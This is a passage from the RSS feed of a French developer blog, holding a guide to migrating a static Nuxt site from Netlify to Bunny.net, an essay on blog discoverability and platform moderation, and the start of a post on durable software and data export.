<p>Techical teams, squads, chapters, core team, one shot project, il n&#39;y a pas de recette magique. Le billet m&#39;a parlé puisque j&#39;ai rencontré tout les problèmes listés ici, et d&#39;autres.
Une organisation a toujours des défauts mais vise un problème donnée, à un instant T, en fonction des contraintes du moment.</p>
<ul>
<li>un billet sur la façon dont le web est <a href="https://paulallies.medium.com/the-silicon-valley-stack-doesnt-work-here-why-africa-will-lead-the-post-bloat-web-e7c34b577c61">construit différemment en Afrique</a></li>
</ul>
<p>J&#39;ai beaucoup aimé ce billet qui met en évidence que ce sont des contraintes que peut naitre l&#39;innovation. Les contraintes de frugalité impose de penser différemment.
Ca m&#39;a rappelé une conférence vu à Mix It il y a quelques années d&#39;un développeur qui venait d&#39;un pays Africain et avait raconté une histoire un peu similaire, notamment sur les contraintes liées à l&#39;énergie à disposition et les multiples coupures de courant qui lui imposait de gérer son temps de travail en fonction de ça.</p>
<p>Sur ce, bonne année 2026 :)</p>
]]></content:encoded>
            <enclosure url="https://writizzy.b-cdn.net/blogs/3d2c312a-df80-4b93-b164-0dfd3902f0f8/media/1772179390716-cover.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Hébergement d'un site statique généré avec Nuxt sur Bunny.net]]></title>
            <link>https://eventuallycoding.com/p/2025-12-netlify-bunny-migration</link>
            <guid>https://eventuallycoding.com/p/2025-12-netlify-bunny-migration</guid>
            <pubDate>Mon, 29 Dec 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Guide de migration Netlify → Bunny.net pour sites Nuxt statiques. Configuration storage zone, déploiement automatique et protection DDoS.]]></description>
            <content:encoded><![CDATA[<p>Comme je l&#39;ai déjà expliqué dans plusieurs articles, <a href="https://eventuallycoding.com/2025/12/building-independent-tech-2025">j'essaie de réduire ma dépendance à la Tech US</a>. Or, j&#39;utilise maintenant Netlify depuis quelques années pour héberger plusieurs sites :</p>
<ul>
<li>eventuallycoding.com (ce blog)</li>
<li><a href="https://bloggrify.com">bloggrify.com</a> (un projet open source qui fait tourner ce blog)</li>
<li>tous les sites de démo pour les templates de bloggrify (<a href="https://minimalist.bloggrify.com">minimalist.bloggrify.com</a>, <a href="https://mistral.bloggrify.com">mistral.bloggrify.com</a> etc...)</li>
</ul>
<p>Et même si j&#39;apprécie Netlify, il existe des alternatives en Europe, donc je souhaitais essayer de migrer.</p>
<h2>Netlify et ses alternatives</h2>
<p>Avant de commencer, il faut comprendre ce qu&#39;est Netlify et comment se définissent ces alternatives.</p>
<p>Netlify est un un PAAS, une plateforme pour faire tourner des applications de type <a href="https://jamstack.org/">Jamstack</a>.</p>
<p>Jamstack étant une approche architecturale qui repose sur Javascript et le fait de faire tourner l&#39;application en grande partie côté client avec des appels API quand c&#39;est nécessaire.
Netlify est d&#39;ailleurs le principal acteur privé derrière la communauté Jamstack et pousse cette approche dans l&#39;industrie.</p>
<p>Bref, c&#39;est une plateforme dans laquelle on va trouver des notions de builds, de déploiement, d&#39;extensions (auth, database, cms etc...)</p>
<p>Si on devait citer des alternatives dans le même coeur de métier, et plug and play, on pourrait lister :</p>
<ul>
<li>Vercel (qui a connu plusieurs polémiques autour du soutien de son CEO à Trump ou <a href="https://finance.yahoo.com/news/vercel-ceo-takes-selfie-israel-182930862.html?guccounter=1&guce_referrer=aHR0cHM6Ly9jbGF1ZGUuYWkv&guce_referrer_sig=AQAAAFMzMXEPBh8Tmu7tYt9o45GEbihV3015YidDWEAceBz2-no8ry_w2WZFWRwkB_S9BEbq0jtiZWu0Jb7EzaXI_OeIDjZu-rdzQdWuJAiq5RHJb0GmYm6-a-NIilkbGpXGOGKzdxWilJK3dpvwc5s4mi0L_p-3gkNcKgBFZXbC-stX">à Netanyahu</a>)</li>
<li>Cloudflare pages</li>
<li>Firebase</li>
</ul>
<p>Sauf que toutes ces plateformes sont US.</p>
<p>Il existe d&#39;autres solutions, plus généralistes et cette fois on peut trouver des solutions Européennes : Scalingo ou Clever Cloud.</p>
<p>Mais il y a une solution qui est souvent oubliée : <a href="https://bunny.net/">Bunny.net</a>.</p>
<h2>Bunny.net</h2>
<p>A l&#39;origine, Bunny.net n&#39;est pas un concurrent à proprement parler de netlify. Bunny.net est avant tout un CDN et se compare davantage à Cloudflare.
Sauf que, comme Cloudflare, ils ont su évoluer pour proposer des fonctionnalitées avancées permettant de faire tourner des applications jamstack simple sur leur CDN.</p>
<p>Attention, c&#39;est moins abouti qu&#39;un Netlify ou qu&#39;un Cloudflare, on retrouvera moins de services et il faut soi-même assembler une &quot;storage zone&quot; et une &quot;pull zone&quot; pour assembler son site. On le verra plus loin, il y a d&#39;autres petites limitations. Mais à côté de ca on retrouve par contre un très bon service anti DDOS ou des limites de consommation (pour éviter les factures <a href="https://cybernews.com/news/ddos-attack-104k-bill-from-hosting-provider/">100 000 dollars de Netlify</a>...), des services d&#39;optimisations d&#39;images, de l&#39;optimisation de ressources, un bouclier anti bot, bref, tout ce dont j&#39;ai besoin pour des blogs statiques.</p>
<p>Maintenant, passons à la pratique et voyons comment j&#39;ai migré Bloggrify.</p>
<h2>Cas pratique: Migration de Bloggrify</h2>
<p>Bloggrify est un projet opensource, une sorte de <a href="https://docus.dev/en">Docus</a> mais pour les blogs. Et si vous ne connaissez pas Docus, cette phrase n&#39;a sans doute aucun sens :)</p>
<p>Mais peu importe, ce qu&#39;il faut retenir c&#39;est que c&#39;est un générateur de blog <strong>statique</strong> et qui dit statique, dit déployable sur un CDN.</p>
<h3>Pull zone et storage zone</h3>
<p>La première chose à faire, nous allons créer une zone de stockage pour les fichiers (storage zone) :</p>
<p><img src="https://writizzy.b-cdn.net/blogs/3d2c312a-df80-4b93-b164-0dfd3902f0f8/media/1772179389852-storagezone.jpg" alt="" /></p>
<p>Quand la zone est crée, il faut la connecter à une &quot;pull zone&quot;. Ce sera cette &quot;pull zone&quot; qui permettra de servir le site web.</p>
<p>Maintenant dans la zone de stockage, il faut aller dans FTP &amp; Api access pour récupérer le mot de passe permettant d&#39;utiliser l&#39;API.</p>
<h3>Configurer le déploiement automatique avec bunny-deploy</h3>
<p>Un de mes critères pour migrer c&#39;était évidemment de ne pas perdre l&#39;automatisation de mes déploiements. Or il se trouve qu&#39;il existe un plugin compatible avec Github actions pour le déploiement sur Bunny.</p>
<p>Ici il faut donc rajouter ces étapes :</p>
<pre><code class="language-yaml">	- name: Generate static site
	  run: npm run generate

	- name: Deploy to Bunny
	  uses: R-J-dev/bunny-deploy@v2.1.1
	  with:
		access-key: ${{ secrets.BUNNY_ACCESS_KEY }}
		directory-to-upload: &quot;.output/public&quot;  # Nuxt 3
		storage-endpoint: &quot;https://storage.bunnycdn.com&quot;
		storage-zone-name: &quot;bloggrify&quot;
		storage-zone-password: ${{ secrets.BUNNY_STORAGE_ZONE_PASSWORD }}
		enable-delete-action: true
		enable-purge-pull-zone: true
		pull-zone-id: &quot;5063091&quot;
		concurrency: 50
		replication-timeout: &quot;15000&quot;
		request-timeout: &quot;5000&quot; # optional, defaults to 5000
		retry-limit: &quot;3&quot; # optional, defaults to 3
</code></pre>
<p>Au préalable il faut avoir renseigné la BUNNY_ACCESS_KEY et le BUNNY_STORAGE_ZONE_PASSWORD dans les secrets de votre repository.</p>
<p>Evidemment la storage-zone-name est le nom de la zone défini dans Bunny, ici bloggrify pour mon cas.</p>
<h3>Configurer le nom de domaine</h3>
<p>A ce stade, vous avez sans doute votre site sur une url bunny, par exemple bloggrify-mistral.b-cdn.net. Cependant il est possible d&#39;ajouter un custom hostname :</p>
<p><img src="https://writizzy.b-cdn.net/blogs/3d2c312a-df80-4b93-b164-0dfd3902f0f8/media/1772179389908-custom-hostname.jpg" alt="" /></p>
<p>Ceci vous demandera de configurer votre DNS pour ajouter un ALIAS ou un CNAME sur votre DNS.</p>
<h3>Eviter les factures délirantes</h3>
<p>Bunny permet de limiter la conso et de se protéger des attaques DDOS. Pour cela, il faut choisir la pull zone, aller dans Network limits, et créer une &quot;monthly bandwidth limit&quot;. J&#39;ai mis 1GB en considérant que le traffic n&#39;est pas excessif sur Bloggrify.</p>
<p>En plus de cela, vous pouvez aller dans Shield, choisir le plan gratuit, et sélectionner la protection DDoS. Vous pouvez ajuster la sensibilité en fonction de ce qui vous semble juste.</p>
<h3>Paramétrage de nitro</h3>
<p>Dans le cas très spécifique de Nuxt, et surtout de Docus, vous pourriez rencontrer un problème. En effet le site généré contient des répertoires sans index.html.</p>
<p>Par exemple :</p>
<ul>
<li>introduction/configuration qui contient les ressources de la page configuration</li>
<li>introduction/configuration.html</li>
</ul>
<p>Mais si on tape sur <a href="https://bloggrify.com/introduction/configuration">https://bloggrify.com/introduction/configuration</a>, par défaut on obtient une 404 parce que personne ne réécrit l&#39;url vers le fichier html. Donc il faut dire explicitement à Nitro de changer sa façon de générer les fichiers :</p>
<pre><code class="language-javascript">export default defineNuxtConfig({
  nitro: {
    prerender: {
      autoSubfolderIndex: true
    }
  }
})
</code></pre>
<p>En faisant cela, on va générer cette fois :</p>
<ul>
<li>introduction/configuration/index.html, et cette fois ça marche.</li>
</ul>
<p>Cette gymnastique n&#39;est pas nécessaire sur Netlify qui gère très bien cela mais pour Bunny il faut l&#39;aider un peu.</p>
<p>Et.... c&#39;est terminé.</p>
<p>Alors certes la mise en place est un peu plus exigeante que Netlify mais désormais bloggrify.com fonctionne sur Bunny et je migre progressivement les autres sites. L&#39;objectif est atteint et je ferai peut être un suivi dans les mois qui viennent.</p>
]]></content:encoded>
            <enclosure url="https://writizzy.b-cdn.net/blogs/3d2c312a-df80-4b93-b164-0dfd3902f0f8/media/1772179389955-cover.webp" length="0" type="image/webp"/>
        </item>
        <item>
            <title><![CDATA[La modération des plateformes est-elle vouée à l'échec ?]]></title>
            <link>https://eventuallycoding.com/p/2025-12-moderation-discoverability</link>
            <guid>https://eventuallycoding.com/p/2025-12-moderation-discoverability</guid>
            <pubDate>Mon, 22 Dec 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Blogs, algorithmes, modération : comment concilier découvrabilité et contrôle utilisateur ? ]]></description>
            <content:encoded><![CDATA[<p>Récemment je me suis lancé dans la création d&#39;une plateforme de blog, writizzy.com, avec l&#39;ambition de proposer une alternative européenne aux plateformes US comme Medium, Substack, Hashnode etc.</p>
<p>Et vous pourriez me dire, &quot;oui mais les blogs c&#39;est pas un peu mort depuis Youtube, Tiktok, Instagram et consorts ?&quot;
Là-dessus, je ne pense pas, mais je vais en reparler.</p>
<p>Par contre, les blogs ont un défaut majeur qui les pénalise par rapport à toutes les plateformes que je viens de citer : la découvrabilité.<br>Ce qui fait le succès des plateformes c&#39;est... les algorithmes de suggestion de contenus.</p>
<p>Oui, je sais, c&#39;est aussi ce qu&#39;on leur reproche. Mais sans algo, personne ne découvrirait la vidéo de Jean-Pierre et sa passion pour les fourmis. Et ce serait peut-être dommage.</p>
<p>Sauf qu&#39;un des sujets qui vient avec, c&#39;est la responsabilité des plateformes sur le contenu suggéré, et donc la modération. Et pour l&#39;instant, aucune plateforme n&#39;est irréprochable à ce sujet.
Entre le zèle puritain de Youtube, la banalisation des discours complotistes de X, les ventes de poupées sexuelles sur Shein, on voit bien que le sujet est loin d&#39;être simple et toujours pas résolu.</p>
<p>Alors, comment on fait ? Est-ce que c&#39;est voué à l&#39;échec ?</p>
<p>Bref, je vais parler ici de la santé des blogs, de découvrabilité et de pourquoi c&#39;est important, des différentes solutions de découvrabilité, des plateformes de suggestions de contenu et de modération.
Et autant vous dire que j&#39;ai pas toutes les réponses, je suis justement en train de me pencher dessus. Mais justement, ça m&#39;intéresse qu&#39;on en discute.</p>
<h2>Les blogs se portent bien</h2>
<p>Et oui, surprise, en réalité les blogs ne se portent pas si mal. En tout cas c&#39;est ce qu&#39;on peut lire sur <a href="https://optinmonster.com/blogging-statistics/">optinmonster qui nous parle de plus de 600 M de blogs</a> à travers le monde.
Il y aurait plus de 409 M de personnes qui liraient plus de 20 milliards de pages chaque mois sur wordpress.com, WordPress qui continue de propulser 40 % des sites mondiaux.
Sur cette autre source on peut lire que <a href="https://www.demandsage.com/blogging-statistics/">83 % des internautes (4,4 milliards de personnes) lisent des articles de blogs régulièrement</a>.</p>
<p>Bref, le blog est en réalité très vivant, même si, effectivement, il y a cependant une évolution vers une consommation plus forte de vidéo.</p>
<p>Aujourd&#39;hui 82 % du trafic internet mondial concerne la vidéo et beaucoup se tournent désormais vers Tiktok, Instagram et consorts pour trouver rapidement une réponse sur un sujet, que ce soit des recettes de cuisine, des tutoriels de bricolage ou même des sujets tech.
Pour autant, l&#39;écrit se démarque par sa facilité d&#39;accès et de mise à jour.
Personnellement je fais les deux, des vidéos et des articles de blog. Et écrire est évidemment nettement plus rapide que produire une vidéo, sans parler que je peux corriger un article après mise en ligne, ce que je ne peux pas faire sur une vidéo. Et ça, pour moi, ça donne un avantage significatif à l&#39;écrit pour beaucoup de gens qui n&#39;ont pas l&#39;énergie de se filmer, ou juste pas envie de montrer leur tête.</p>
<p>Alors oui, la vidéo va continuer de s&#39;imposer sur du divertissement et les moments où on cherche à débrancher un peu son cerveau, mais le blog continuera d&#39;être plus facile d&#39;accès et pourra permettre de créer un contenu plus spécialisé, plus facile à mettre à jour.</p>
<p>Par contre, et c&#39;est là où les plateformes vidéos tirent leur épingle du jeu, la grosse différence se fait sur la suggestion de contenu et c&#39;est ça qui en fait un modèle fragile.</p>
<h2>La découvrabilité, une question de vanity metrics ?</h2>
<p>La découvrabilité est un sujet un peu vaste, parce qu&#39;on pourrait se demander en premier lieu si c&#39;est vraiment une préoccupation quand on écrit un blog.</p>
<p>Pour certains, la réponse est clairement oui, on parle de personnes qui ont créé un média, une newsletter payante et qui monétisent leur trafic. Exemple : <a href="https://www.pragmaticengineer.com/">Pragmatic Engineer</a>, <a href="https://aliabdaal.com/newsletter/">Ali Abdaal</a>.</p>
<p>À l&#39;opposé du spectre, l&#39;activité n&#39;est pas à vocation lucrative, c&#39;est un journal personnel et advienne que pourra. À la limite, la découvrabilité est même découragée, par exemple <a href="https://n.survol.fr/">n.survol.fr</a> qui ne publie aucun sitemap et rend difficile l&#39;exploration du site.</p>
<p>Et entre les deux il y a toute une palette de couleurs : des gens qui travaillent leur personal branding (so 2000), d&#39;autres qui s&#39;en servent de relais d&#39;influence, des blogueurs du dimanche etc.</p>
<p>Pour ma part je navigue dans cette zone grise. Je ne monétise pas mon blog que j&#39;alimente depuis 2001 mais j&#39;admets que je trouverais ça un peu triste que personne ne lise. Donc j&#39;y prête attention.<br>Même si je l&#39;utilise aussi comme une sorte de mémoire numérique personnelle, ma première motivation quand j&#39;ai démarré au début des années 2000 c&#39;était de partager des tutoriels et des retours d&#39;expérience. Et si c&#39;est absolument pas lu, je mettrais sans doute moins d&#39;effort. C&#39;est justement pour passer à l&#39;échelle que j&#39;ai ajouté le format vidéo Youtube il y a un an.</p>
<p>Je comprends que ce ne soit pas l&#39;objectif de tout le monde, mais pour ma part, aujourd&#39;hui, j&#39;essaie d&#39;avoir de l&#39;impact, à mon échelle, sur la compréhension de sujets tech, de son influence, dans l&#39;entreprise et même dans la société. Je ne vends rien, et j&#39;essaie d&#39;apporter quelque chose.</p>
<p>Sauf que voilà, quand je publie une vidéo sur Youtube, j&#39;ai en moyenne plusieurs milliers de vues avec un max personnel pour l&#39;instant à 35k.
(Exemple : au moment où j&#39;écris cet article, j&#39;ai publié une vidéo ce matin, elle fait déjà 3,6k vues en moins de 7h)</p>
<p>Sur le blog, les vues oscillent entre 50 et 12k vues. Mais la grande majorité tourne autour des 1k. Et encore, on parle d&#39;un blog ancien avec une bonne réputation de domaine, un SEO à peu près viable, bref, ce ne sont même pas de mauvaises performances.</p>
<p>Encore une fois, peut-être que certains sont absolument contre le fait de regarder ces &quot;vanity metrics&quot;, mais je ne cache pas que j&#39;ai l&#39;esprit joueur et je suis prêt à parier que certains blogs seraient quand même plus actifs s&#39;ils étaient plus lus.</p>
<p>Or, si ce n&#39;est pas lu, ce n&#39;est pas que le contenu est forcément de mauvaise qualité, mais aussi qu&#39;il est difficile à trouver. Sans relais actif, personne ne lit un article de blog.
Le SEO pour un blogueur c&#39;est un combat quasi perdu d&#39;avance contre des plateformes et des sites pros qui bénéficient d&#39;une meilleure autorité ou d&#39;un budget marketing.</p>
<p>C&#39;est pourquoi <a href="https://www.demandsage.com/blogging-statistics/">90 % des blogueurs utilisent les réseaux sociaux</a> pour promouvoir leurs articles.</p>
<p>Et forcément en créant Writizzy je me demande, et si on pouvait faire mieux ? Si on pouvait favoriser la découverte de contenu à travers un cercle de lecteurs ?</p>
<h2>Les algos : la réponse apportée par les plateformes</h2>
<p>C&#39;est justement ici qu&#39;interviennent les plateformes. Je pourrais citer Instagram, Youtube, Tiktok, X etc. La mécanique est la même. Ces plateformes vont créer des fils de contenus adaptés à l&#39;utilisateur. Et elles vont chercher à maximiser le temps passé sur la plateforme par l&#39;utilisateur en lui proposant toujours plus de contenu adapté.</p>
<p>Pour ça, l&#39;idée est de reposer sur la masse de contenus produits par tous les utilisateurs de la plateforme pour déterminer ensuite la bonne audience susceptible d&#39;apprécier une nouvelle vidéo.</p>
<p>Quand je publie sur Youtube je ne fais aucun effort de promotion, c&#39;est Youtube qui s&#39;en charge. Il va chercher à déterminer la bonne audience, leur présenter la vidéo, mesurer les réactions (clic, temps de visualisation, like, commentaires etc.), valider l&#39;audience, recommencer etc.</p>
<p>Bref, c&#39;est ce qu&#39;on appelle un algorithme.</p>
<p>Sauf que ces algorithmes peuvent avoir pas mal de défauts. Ils peuvent être optimisés pour favoriser les engagements négatifs (comme X qui va diffuser davantage les contenus polémiques), voire favoriser un courant de pensée (cf. X encore une fois qui a été impliqué dans plusieurs affaires d&#39;influence sur des élections récentes).
On peut aussi leur reprocher de fabriquer des bulles de filtre qui nous enfermeraient dans des schémas de croyance, même si j&#39;ai tendance à penser que nos propres biais de confirmation nous enferment déjà tout seuls.
Ils peuvent aussi avoir un objectif néfaste de nous enfermer dans un scrolling infini, rétribué par de petits shots de dopamine histoire d&#39;accepter passivement de la publicité insérée ici et là.</p>
<p>Alors oui, les algos n&#39;ont plus bonne presse, mais dans les faits, ils restent la principale raison de rester sur ces plateformes. Ce sont eux qui nous permettent de découvrir le contenu disponible et pour les personnes qui produisent le contenu, ce sont eux qui nous permettent d&#39;éviter l&#39;anonymat complet.</p>
<p>Si je suis convaincu de l&#39;intérêt de travailler sur la découvrabilité des blogs, une question semble émerger : comment donner le contrôle aux utilisateurs ?</p>
<h2>Reprendre le pouvoir</h2>
<p>Avant d&#39;aller plus loin, évidemment il faut préciser que tous les algorithmes ne sont pas forcément opaques et complexes. Il existe des alternatives &quot;allégées&quot; comme par exemple sur Hacker News qui se base uniquement sur le nombre de votes et la fraîcheur du contenu. C&#39;est le même type d&#39;algorithme qui est utilisé sur <a href="https://bearblog.dev/discover/">Bearblog</a> qui l&#39;indique en bas de page :</p>
<pre><code># This page is ranked according to the following algorithm:
Score = log10(U) + (S / (B * 86,400))
</code></pre>
<p>D&#39;autres solutions proposent un simple classement chronologique. C&#39;est l&#39;approche par exemple de Mastodon qui propose uniquement d&#39;afficher les posts triés par date.<br>J&#39;ai tendance à trouver cette approche trop minimaliste.</p>
<p>En fait surtout ce qui m&#39;intéresse, c&#39;est de savoir s&#39;il existerait une approche vertueuse ? Comment préserver la qualité des recommandations sans m&#39;imposer des choix unilatéraux ?
Or c&#39;est justement exactement le sujet de <a href="https://medium.com/mit-media-lab/who-filters-your-news-why-we-built-gobo-social-bfa6748b5944">ce billet de blog</a> et qui fait une remarque importante :</p>
<blockquote>
<p>You can pay money and advertise to women of color between 40–60 in Seattle, but you can&#39;t choose to read perspectives from those women</p>
</blockquote>
<p>Ce billet de blog met en avant une réponse, un projet de recherche du MIT : <a href="https://gobo.social/">Gobo</a> (malheureusement pas actif au moment où j&#39;écris) nous permettant d&#39;agréger de la donnée issue de plateformes pour y appliquer nos propres filtres.
Dans la même veine on peut trouver aussi <a href="https://youchoose.ai/">Youchoose</a>, ou <a href="https://tournesol.app/">Tournesol</a>, avec tous le même objectif, donner le pouvoir aux utilisateurs.</p>
<p>Si ces initiatives restent confidentielles, la mise en œuvre la plus aboutie et utilisée est sans doute celle de <a href="https://bsky.social/about/blog/7-27-2023-custom-feeds">Bluesky qui permet à chacun de choisir des algorithmes qui peuvent être créés par d'autres utilisateurs</a>.</p>
<p>Si je devais créer un mécanisme de recommandation de contenu dans Writizzy, ce serait sans doute l&#39;approche qui me séduit le plus.</p>
<p>Cependant, en discutant du sujet avec Thomas (qui travaille aussi sur Writizzy), proposer un feed de contenu va rapidement poser deux autres problèmes :</p>
<ul>
<li>comment on démarre alors qu&#39;on a seulement 140 utilisateurs dont environ 10/15 % vraiment actifs ? C&#39;est ce qu&#39;on appelle le problème du Cold Start</li>
<li>la modération</li>
</ul>
<p>Je passe sur le premier sujet, ce n&#39;est pas l&#39;objet de ce post. Par contre le second est assez sérieux.</p>
<h2>La modération</h2>
<p>À partir du moment où on crée une page dont le contenu est un agrégat venant d&#39;une multitude d&#39;utilisateurs, le danger d&#39;avoir du contenu inapproprié existe.
Ça peut être du contenu X, du spam, du scam, des injures à caractère raciste etc.</p>
<p>Writizzy a déjà une responsabilité au sens du DSA européen. Je dois fournir un mécanisme de signalement et je dois agir si on me signale un contenu illicite. Attention, je suis considéré comme hébergeur donc je ne suis pas tenu de réagir proactivement.
Tant que les blogs restent séparés, ça reste encore &quot;facile&quot;. L&#39;impact se limite au blog de l&#39;individu en question.</p>
<p>Par contre, au moment où un feed se crée, l&#39;impact peut être démultiplié, c&#39;est même l&#39;effet recherché, mais ici, ça crée une pression plus importante sur la modération.
Et c&#39;est loin d&#39;être simple parce qu&#39;il faut juger du caractère illicite du contenu or ce caractère n&#39;est pas forcément évident. La notion de ce qui est acceptable ou pas n&#39;est pas universelle.</p>
<p>Où se situe la frontière entre satire et insulte ? Quelle est la frontière entre critique politique et diffamation ? Comment détecter et traiter les fake news ? Quelle est la frontière entre nudité pornographique et art (par exemple L&#39;Origine du monde de Gustave Courbet) ?</p>
<p>J&#39;ai essayé de recenser les différentes méthodes possibles de modération pour voir si c&#39;était envisageable pour Writizzy :</p>
<h3>La modération manuelle</h3>
<p>Ici on retrouve deux grandes catégories, la modération manuelle par un ou plusieurs super administrateurs, et la modération massive et outsourcée.
La modération manuelle sur des petits volumes est celle qu&#39;on retrouve par exemple sur Mastodon avec le biais évident de la subjectivité du modérateur et également des conflits ensuite entre instances de Mastodon ayant des positions politiques parfois différentes.
Je ne suis pas infaillible, je ne veux pas être responsable de la modération sur tout le contenu publié. Sans parler que ça ne passera pas à l&#39;échelle.</p>
<p>En second il y a la modération de masse, souvent outsourcée dans des pays à faibles salaires par des grandes plateformes comme <a href="https://www.novethic.fr/actualite/social/conditions-de-travail/isr-rse/chatgpt-tiktok-facebook-les-moderateurs-de-contenu-creent-leur-premier-syndicat-au-kenya-151547.html">Meta, Tiktok ou OpenAI</a>. C&#39;est loin d&#39;être un métier agréable et les <a href="https://fnh.ma/article/actualite-high-tech/moderateur-de-contenu-ces-eboueurs-du-web">abus ont été décrits dans plusieurs articles</a>. C&#39;est inadapté pour Writizzy, économiquement et éthiquement.</p>
<h3>La modération communautaire.</h3>
<p>Celle-ci repose principalement sur les signalements. On peut retrouver les Community Notes de X dans cette catégorie, ou les fils de discussion sur Wikipédia.
C&#39;est évidemment la modération la moins coûteuse mais elle peut être contournée si un ensemble d&#39;individus se coordonnent pour censurer un contenu.
Ce système peut être amélioré avec un système de points de réputation accordés par la communauté aux utilisateurs. C&#39;est ce qu&#39;on appelle les points de Karma sur Reddit et Hacker News, ou le score de réputation sur Stack Overflow. Sur Writizzy ce mécanisme pourrait avoir tout son sens.
Cependant cette modération a aussi l&#39;inconvénient d&#39;être a posteriori, c&#39;est-à-dire que le mal est déjà fait, le contenu a déjà été exposé avant d&#39;être signalé.</p>
<h3>La modération automatique</h3>
<p>Ça peut être lié à une détection de mots-clés, le profil de la personne (nouvel inscrit, pattern de diffusion etc.), algos de détection de nudité sur des photos.
C&#39;est la méthode la plus simple à mettre en place. On peut régler la tolérance. Et c&#39;est peut-être là qu&#39;une IA peut briller pour comprendre un texte mais c&#39;est loin d&#39;être infaillible, on peut utiliser des détournements de mots, modifier l&#39;orthographe, utiliser des emojis pour représenter un concept ou tout simplement avoir des algos moins performants pour une langue donnée.</p>
<p>Pour moi, la conclusion de cette mini étude est assez évidente, il faudrait avoir un système de détection automatique en amont, puis un système de signalement amélioré par un système de Karma en aval et en tout dernier lieu, une intervention manuelle d&#39;un super admin.</p>
<p>Pour autant, ces systèmes existent et les plateformes continuent d&#39;être décriées, parce que toutes ces modérations sont imparfaites. En effet il y a toujours la question centrale de l&#39;interprétation : qu&#39;est-ce qui est licite ou pas ? Cette interprétation variant selon les pays et cultures.</p>
<p>Et c&#39;est là où on retrouve une autre approche, celle de Bluesky, encore elle, dont <a href="https://docs.bsky.app/blog/blueskys-moderation-architecture">l'un des principes fondamentaux c'est la décentralisation, y compris sur la modération via des étiqueteurs (labelers)</a>.</p>
<h3>La modération décentralisée</h3>
<p>La modération sur Bluesky comporte 2 niveaux :</p>
<ul>
<li><p>La modération de base, celle de Bluesky.
Cette première étape de modération est faite par Bluesky lui-même via <a href="https://github.com/bluesky-social/ozone">Ozone, un outil de modération open source</a>.
Cette modération est paramétrable pour indiquer quel est son propre niveau de tolérance.
Cette première étape est censée détecter ce qui est universellement non admis (pédopornographie, appel à la violence etc.) et sur lesquels la plateforme peut être tenue responsable devant la justice.</p>
</li>
<li><p>La modération optionnelle fournie par des labelers indépendants.
Ces labelers peuvent être construits <a href="https://docs.bsky.app/docs/advanced-guides/moderation">avec un SDK</a> et fournis aux utilisateurs qui les choisissent pour customiser la modération qu&#39;ils attendent.</p>
</li>
</ul>
<p>Bref, on en revient encore au même : donner le contrôle aux utilisateurs.
(Même si sans doute 90% d&#39;entre eux garderont la modération par défaut)</p>
<h2>Des alternatives pour la découvrabilité</h2>
<p>Ce qui est sûr, c&#39;est que le sujet est ardu et je comprends largement la réticence de Thomas à s&#39;aventurer sur ce sujet.
Alors on a discuté d&#39;autres pistes. Plutôt que de proposer une agrégation de contenu, on pourrait commencer par une curation de contenu. C&#39;est beaucoup plus simple et nous pourrions sélectionner chaque semaine ou chaque mois le contenu à mettre en avant.</p>
<p>On peut aussi considérer que la suggestion de contenu peut se faire à plus petite échelle :</p>
<ul>
<li>des suggestions de contenus liés en bas des articles qu&#39;un lecteur vient de lire</li>
<li>des suggestions de newsletter similaires lorsqu&#39;un utilisateur s&#39;abonne.</li>
</ul>
<p>On peut aussi considérer que le sujet c&#39;est plutôt d&#39;automatiser la multidiffusion : RSS et newsletter aujourd&#39;hui, diffusion automatique sur ATProto, Bluesky, Nostr demain ?</p>
<p>Il y a d&#39;autres pistes et aucune décision n&#39;a été prise pour l&#39;instant.</p>
<p>Et vous, vous feriez comment ? Si vous êtes concernés par le sujet de la découvrabilité, ce serait quoi votre solution idéale ? Est-ce que vous utilisez les suggestions Medium ou dev.to par exemple ? Est-ce que vous faites déjà de la diffusion sur des réseaux fédérés ?</p>
]]></content:encoded>
            <enclosure url="https://writizzy.b-cdn.net/blogs/3d2c312a-df80-4b93-b164-0dfd3902f0f8/media/1772179389765-cover.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Comment créer un logiciel durable ?]]></title>
            <link>https://eventuallycoding.com/p/2025-12-software-that-lasts</link>
            <guid>https://eventuallycoding.com/p/2025-12-software-that-lasts</guid>
            <pubDate>Fri, 19 Dec 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Comment construire un logiciel durable ? Réversibilité, viabilité, merdification, quels sont toutes les questions que j'essaie de résoudre]]></description>
            <content:encoded><![CDATA[<p>En discutant avec plusieurs personnes de Writizzy j&#39;ai pu comprendre que l&#39;un des sujets de préoccupation quand on choisit une plateforme pour blogger, mais aussi pour mettre des photos, des vidéos etc... c&#39;est la pérennité.
Est-ce que la plateforme ne va pas fermer dans 1 an ou 2 ? Et qu&#39;est-ce qui se passe si jamais c&#39;est le cas ? Est-ce que je perds mes données ?
Et si elle évolue, mais dans le mauvais sens (oui je pense à toi Twitter) ?</p>
<p>Citations :</p>
<blockquote>
<p>Je n&#39;ai pas vraiment l&#39;intention d&#39;utiliser une plate-forme, une des raisons d&#39;avoir écrit mon moteur c&#39;est la stabilité</p>
</blockquote>
<blockquote>
<p>Avant d&#39;utiliser Substack j&#39;utilisais la solution de Twitter qui faisait a peu près la même chose. Et ils ont fermé du jour au lendemain, j&#39;ai pas pu récupérer mes infos.</p>
</blockquote>
<p>Bref, c&#39;est une préoccupation normale : est-ce que l&#39;effort que je vais mettre à tenir un blog ne va pas être réduit à néant demain ?</p>
<p>Je dois trouver une réponse à cette question. Comment préserver l&#39;effort des personnes qui pourraient utiliser Writizzy ?<br>Et pour ça j&#39;ai quelques éléments de réponse.
Mais ce n&#39;est pas uniquement cantonné à Writizzy, que vous utilisiez une plateforme ou que vous en construisiez une, voici le framework que j&#39;ai utilisé pour penser à cette question.</p>
<h2>Prévoir la réversibilité</h2>
<p>Un des premiers sujets, selon moi, c&#39;est de rester toujours maitre de ce qu&#39;on produit. Il faut fournir une manière simple d&#39;exporter ces informations.</p>
<p>La fonction d&#39;import/export doit être facile à trouver, et le format doit être exploitable.</p>
<p>Sur Writizzy j&#39;ai choisi un format Json qui ressemble à celui de Ghost. Et tous les posts sont inclus dedans au format markdown.
La liste des abonnés à la newsletter est également incluse.</p>
<p>Il n&#39;y a aucun locking sur les données et il serait facile pour un utilisateur de faire une migration vers une autre plateforme si besoin.</p>
